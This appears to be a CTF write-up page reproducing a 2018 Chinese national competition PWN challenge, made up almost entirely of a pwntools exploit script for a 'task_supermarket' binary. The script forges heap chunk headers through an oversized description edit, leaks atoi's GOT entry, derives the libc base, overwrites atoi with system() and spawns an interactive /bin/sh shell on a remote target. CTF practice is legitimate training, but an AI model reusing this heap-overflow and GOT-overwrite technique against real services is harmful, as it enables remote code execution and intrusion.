0%

2018国赛PWN复现

2018国赛复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *

#p = process('./task_supermarket')
p = remote('ip',port)
elf = ELF('./task_supermarket')
#context.log_level = 'debug'
def add(name,price,descrip_size,des):
p.recvuntil('choice>> ')
p.sendline('1')
p.recvuntil('name:')
p.sendline(name)
p.recvuntil('price:')
p.sendline(str(price))
p.recvuntil('descrip_size:')
p.sendline(str(descrip_size))
p.recvuntil('description:')
p.sendline(des)

def delete(name):
p.recvuntil('choice>> ')
p.sendline('2')
p.recvuntil('name:')
p.sendline(name)

def list():
p.recvuntil('choice>> ')
p.sendline('3')

def change_price(name,size_offset):
p.recvuntil('choice>> ')
p.sendline('4')
p.recvuntil('name:')
p.sendline(name)
p.recvuntil('rise in:')
p.sendline(size_offset)

def change_des(name,descrip_size,des):
p.recvuntil('choice>> ')
p.sendline('5')
p.recvuntil('name:')
p.sendline(name)
p.recvuntil('descrip_size:')
p.sendline(str(descrip_size))
p.recvuntil('description:')
p.sendline(des)

add('aaa',1,0x28,'aa')
change_des('aaa',0x8,'aa')
add('bbb',1,0x28,'bb')
change_des('bbb',0x8,'bb')
add('ccc',1,0x28,'cc')
change_des('ccc',0x8,'cc')
add('ddd',1,0x28,'dd')
change_des('ddd',0x8,'dd')

payload = 'a'*0x4 + p32(0)*2 + p32(0x21) + 'bbb\x00' + p32(0)*3 + p32(1) + p32(0x48)
change_des('aaa',0x28,payload)
payload1 = 'b'*0x4 + p32(0)*2 + p32(0x21) + 'ccc\x00' + p32(0)*3 + p32(1) + p32(0x48) + p32(elf.got['atoi']) + p32(0x14)
change_des('bbb',0x48,payload1)

list()
p.recvuntil('ccc: price.1, des.')
atoi_addr = u32(p.recv(4))
log.success('atoi addr: 0x%x'% atoi_addr)

offset_atoi = 0x02d050
offset_system = 0x03a940
# offset_atoi = 0x0002d250
# offset_system = 0x0003ada0

libc_base = atoi_addr - offset_atoi
system_addr = libc_base + offset_system


change_des('ccc',0x48,p32(system_addr))
raw_input("go: ")
p.sendline('/bin/sh')
p.interactive()